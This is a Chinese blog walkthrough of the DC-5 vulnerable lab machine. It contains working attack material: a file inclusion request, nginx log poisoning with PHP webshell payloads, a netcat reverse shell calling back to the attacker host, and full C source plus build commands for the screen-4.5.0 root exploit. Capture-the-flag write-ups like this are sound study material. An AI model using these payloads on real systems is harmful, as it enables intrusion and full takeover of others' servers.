zoukankan      html  css  js  c++  java
  • DC-5靶机学习

    1.kali探测存活主机

    root@kali:~# nmap -T4 -A 192.168.43.1/24
    


    目标IP地址为192.168.43.182,访问之


    拿着nikto,dirsearch一顿乱扫,啥也没发现

    2.日常没思路,气氛逐渐焦灼

    burpsuite爬了一下站点,分析了一下

    发现就一个动态带参数的,emmmm
    继续拿起burpsuite就是一顿乱扫

    nginx的洞都奇奇怪怪的,看了下,一个是拒绝服务,一个是http走私.....

    3.突破点

    还是没啥思路,重新发包的时候,似乎瞄到burpsuite中底部日期变了一下,233
    compare看一下

    确实重发一次,变一次...迷惑
    搜了一波,发现是文件包含.....
    我就纳闷了,这尼玛还能猜出来
    https://blog.csdn.net/weixin_45116657/article/details/102677446

    GET /thankyou.php?file=/etc/passwd HTTP/1.1
    Host: 192.168.43.182
    Accept-Encoding: gzip, deflate
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    

    4.nginx日志文件包含

    既然存在文件包含漏洞
    试着读了下日志文件,nginx默认日志文件为/var/log/nginx/access.log

    应该是存在的,随便输个phpinfo,会记录到日志中,一旦有文件包含漏洞,且包含文件为日志【当然你最好祈祷日志是默认路径】时,就会把日志当作php解析

    GET /<?php phpinfo();?> HTTP/1.1
    Host: 192.168.43.182
    Accept-Encoding: gzip, deflate
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    

    404,然后包含一下看看
    包含成功,burpsuite会显示消息太长,到浏览器打开

    写一段恶意代码进去

    <?php if(isset($_REQUEST['cmd'])){echo "<pre>";$cmd = ($_REQUEST['cmd']);system($cmd);echo "</pre>";die;}?>
    

    emmmm,有点离谱的是。。。显示phpinfo之后,再包含一句话,就不显示了,为啥?
    渗透失败

    5.恢复快照N次后

    wdnmd....终于连接上来了

    <?php eval($_POST[cmd]);?>
    


    报错产生日志,然后包含日志

    蚁剑终端好像没法回显,于是反弹一下shell
    服务端

     nc 192.168.43.164 8008 -c /bin/bash
    

    客户端

    nc -lvvp 8008
    

    6.提权

    find / -perm -u=s -type f 2>/dev/null
    


    这里看到一个/bin/screen-4.5.0
    搜了下是2017年爆出的一个提权漏洞
    http://www.expku.com/local/6245.html
    kali里面也搜了下

    root@kali:~# searchsploit screen 4.5.0
    
    


    看内容,应该要编译才能用

    1.libhax.c

    #include <stdio.h>
    #include <sys/types.h>
    #include <unistd.h>
    __attribute__ ((__constructor__))
    void dropshell(void){
        chown("/tmp/rootshell", 0, 0);
        chmod("/tmp/rootshell", 04755);
        unlink("/etc/ld.so.preload");
        printf("[+] done!
    ");
    }
    

    保存为libhax.c
    然后编译

    root@kali:~# gcc -fPIC -shared -ldl -o libhax.so libhax.c 
    

    2.rootshell.c

    #include <stdio.h>
    int main(void){
        setuid(0);
        setgid(0);
        seteuid(0);
        setegid(0);
        execvp("/bin/sh", NULL, NULL);
    }
    

    保存为rootshell.c

    root@kali:~# gcc -o rootshell rootshell.c 
    

    然后删除41154.sh中间那几段C代码

    打包上传到目标机器
    然而........WDNMD
    禁止通过wget下载....这就离谱

    7.ftp上传提权脚本

    这句话是得到一个标准的shell

    python -c "import pty;pty.spawn('/bin/bash')"
    


    攻击机器配置vsftp

    apt install vsftpd
    

    其他配置看图

    客户端登陆攻击机(vsftp服务端),下载提权脚本....这里略过,emmmmmmmm
    这里有个问题是会报错

    问题出在那个家目录的位置,因为我是直接root目录下创建所以没找到,导致报错

    然后通过get命令下载到服务器就好了....

    这里我发现一个问题,当进入标准shell的时候是可以使用wget命令的
    所以kali起一个http服务

    root@kali:~# python -m SimpleHTTPServer 8000
    


    直接wget下载到服务器上

    如下图

    执行的时候报错了...

    发现最后一行少写了个/,还有前面编译那个libhax.c文件,这里也写错了,emmmm. 后缀要改成.so才对
    添上去,重新执行代码

    提权成功!!!

    8.Getflag

    或许这是我比较菜的原因吧,害。。。

    9.小结

    1.前面日志包含shell,不知道什么奇怪的问题,第一次写入shell后,第二次就无法写了,导致一直重置服务器。。。。

    2.反弹shell的时候,不知道切换成标准shell,导致走了一个大圈。。。。

    3.编译提权代码的时候,没仔细阅读代码,也不够仔细,导致后面出了一系列问题,害...

  • 相关阅读:
    win32com操作word(3):导入VBA常量
    win32com操作word(2):常用用法
    win32com操作word(1):几个重要的对象(28.35)
    文件操作:os模块与os.path模块
    python上下文管理器
    OpenStack基础知识-单元测试工具介绍
    python测试模块-pytest介绍
    Python包管理工具setuptools详解及entry point
    OpenStack基础知识-项目打包的步骤
    OpenStack基础知识-打包知识点
  • 原文地址:https://www.cnblogs.com/mke2fs/p/13054853.html
Copyright © 2011-2022 走看看